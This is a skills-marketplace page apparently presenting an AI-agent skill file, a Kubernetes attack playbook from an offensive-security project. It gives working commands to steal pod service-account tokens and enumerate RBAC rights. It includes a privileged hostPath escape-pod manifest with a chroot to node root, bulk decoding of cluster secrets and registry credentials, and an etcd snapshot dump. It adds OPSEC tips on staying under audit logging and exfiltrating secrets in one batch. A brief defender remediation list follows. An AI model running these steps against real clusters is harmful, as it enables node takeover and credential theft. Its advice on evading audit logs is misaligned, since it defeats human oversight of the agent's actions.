Skip to main content

k8s-pivot

Kubernetes attack playbook — service-account token theft, RBAC abuse, pod escape, hostPath mount abuse, kube-api-server pivoting.

Jump to install

Source facts

Repository
BitterSecurity/Decepticon
Last source activity
June 2, 2026 at 17:24
Detected SKILL.md language
English
Stars
5,522
Forks
1,048

Install options

The review-first prompt is selected by default. You can switch to a direct command or download a local copy.

Review the source files

Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.

Showing SKILL.md

SKILL.md
Source instructions · Read-only preview
name
k8s-pivot
description
Kubernetes attack playbook — service-account token theft, RBAC abuse, pod escape, hostPath mount abuse, kube-api-server pivoting.
metadata
{"subdomain":"cloud","when_to_use":"kubernetes k8s pod escape cluster compromise lateral","mitre_attack":["T1552.007","T1610","T1611","T1613"]}
# Kubernetes Pivot ## 1. Identify the cluster you're in Inside a compromised pod: ```bash # Service account token (default mount) cat /var/run/secrets/kubernetes.io/serviceaccount/token > /tmp/sa.tok cat /var/run/secrets/kubernetes.io/serviceaccount/namespace cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt > /tmp/ca.crt # API server address echo $KUBERNETES_SERVICE_HOST $KUBERNETES_SERVICE_PORT_HTTPS # Or: env | grep KUBE ``` ## 2. Inventory permissions ```bash KUBECTL="kubectl --token=$(cat /tmp/sa.tok) --certificate-authority=/tmp/ca.crt \ --server=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT_HTTPS" # What can I do in my own namespace? $KUBECTL auth can-i --list --namespace=$(cat .../namespace) > /tmp/can_ns.txt # Cluster-wide? $KUBECTL auth can-i --list > /tmp/can_cluster.txt # Specifically check the high-value verbs for verb in get list create delete patch update; do for res in secrets pods deployments daemonsets nodes clusterroles rolebindings serviceaccounts; do $KUBECTL auth can-i $verb $res --all-namespaces 2>/dev/null | \ grep -q yes && echo "$verb $res YES" done done > /tmp/verbs.txt ``` Decepticon ingest: ``` k8s_audit("/tmp/can_cluster.txt") ``` ## 3. RBAC escalation primitives | Verb + Resource | What it enables | |---|---| | `create pods` | Create a pod with mount of host root, then RCE on node | | `get secrets` | Steal SA tokens, k8s API creds, dockercfg, TLS keys | | `create serviceaccounts.tokens` | Mint a new SA token w/ chosen TTL | | `update/patch clusterrolebindings` | Bind self to cluster-admin | | `impersonate` | Act as any user / SA | | `create pods/exec` | Exec into running pod → steal its token | | `bind / escalate` (on Role/ClusterRole) | Grant any permission | | `create persistentvolumes` (cluster-wide) | hostPath PV → read host fs | | `create podsecuritypolicies` (old K8s) | Author own permissive PSP | | `create validatingwebhookconfigurations` | Intercept apiserver requests | | `create mutatingwebhookconfigurations` | Modify any object on admission | | `update nodes/status` (rare) | Spoof node taints, evict pods | ## 4. Pod escape — host root via hostPath ```yaml # escape-pod.yaml apiVersion: v1 kind: Pod metadata: name: escape-pod spec: hostPID: true # see all host PIDs hostNetwork: true # bypass network policies containers: - name: shell image: alpine command: ["sh", "-c", "sleep 1d"] securityContext: privileged: true # CAP_*, no user-namespace remap, no AppArmor volumeMounts: - name: host-root mountPath: /host volumes: - name: host-root hostPath: path: / type: Directory ``` ```bash $KUBECTL create -f escape-pod.yaml $KUBECTL exec -it escape-pod -- chroot /host /bin/bash # Now root on the underlying node ``` ## 5. Secrets harvest ```bash # All accessible secrets across namespaces $KUBECTL get secrets --all-namespaces -o json > /tmp/secrets.json jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name) \(.type)"' /tmp/secrets.json # Decode SA tokens jq -r '.items[] | select(.type=="kubernetes.io/service-account-token") | "\(.metadata.namespace)/\(.metadata.name) \(.data.token | @base64d)"' \ /tmp/secrets.json > /tmp/sa-tokens.txt # Decode dockercfg / dockerconfigjson jq -r '.items[] | select(.type=="kubernetes.io/dockerconfigjson") | .data[".dockerconfigjson"] | @base64d' /tmp/secrets.json ``` ## 6. Container runtime escapes (when you have privileged pod or specific caps) | Primitive | Technique | |---|---| | `/var/run/docker.sock` mounted in pod | `docker exec` on host containers → host root | | `/run/containerd/containerd.sock` | `ctr` cmd → escape | | `CAP_SYS_ADMIN` w/o user namespace | Mount syscall → reread cgroups → release_agent | | `CAP_SYS_PTRACE` | Inject into host PID 1 (only if hostPID:true) | | `CAP_DAC_READ_SEARCH` | Open arbitrary file by inode (CVE-2022-0185 era) | | Kernel CVEs (Dirty Pipe, etc) | Standard linux escape from any container | ## 7. Pivoting from the API server With cluster-admin token: ```bash # List all nodes $KUBECTL get nodes -o wide # Each node has an internal IP — once you have host root, you have # network reach to the underlying infra (etcd, cloud metadata, etc) # Steal etcd snapshot via cluster-admin $KUBECTL --raw '/api/v1/namespaces/kube-system/pods' > /tmp/all-pods.json # Find etcd pod, exec, dump $KUBECTL exec -n kube-system etcd-master -- \ etcdctl snapshot save /tmp/etcd.db --cacert=/etc/kubernetes/pki/etcd/ca.crt ``` ## 8. Promote ``` kg_add_node(kind="vulnerability", label="K8s RBAC: <verb> on <resource>", props={"severity":"<sev>","namespace":"<ns>","cluster":"<cluster>"}) kg_add_edge(src=<vuln>, dst=<crown_jewel:cluster-admin>, kind="reaches") ``` ## OPSEC - K8s **audit policy** logs every API call. If audit is set to `Metadata` or higher, every kubectl op is recorded with user SA, verb, resource, response code. - Cloud providers (EKS/GKE/AKS) ship audit logs to CloudWatch / Stackdriver / Log Analytics — assume engagement is observed. - Use a low-priv SA token first, escalate only when needed, and exfil secrets in one batch (don't list-secrets repeatedly). ## CVSS - create-pod privileged anywhere: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` = 9.0 - get-secrets in kube-system: 9.0 - escalate clusterrolebindings: 10.0 (instant cluster-admin) - Default ServiceAccount auto-mounted into all pods + privileged pod creation allowed: 9.5 (engagement-ending) ## Defender remediation (high-level) - Disable automounting of default SA tokens (`automountServiceAccountToken: false`) - Enforce PodSecurity standards (`baseline` minimum, `restricted` ideal) - Audit cluster-wide ClusterRoleBindings — many clusters have `system:masters` aliases to misnamed groups - Network policies to block pod → kube-api except where required
View on GitHub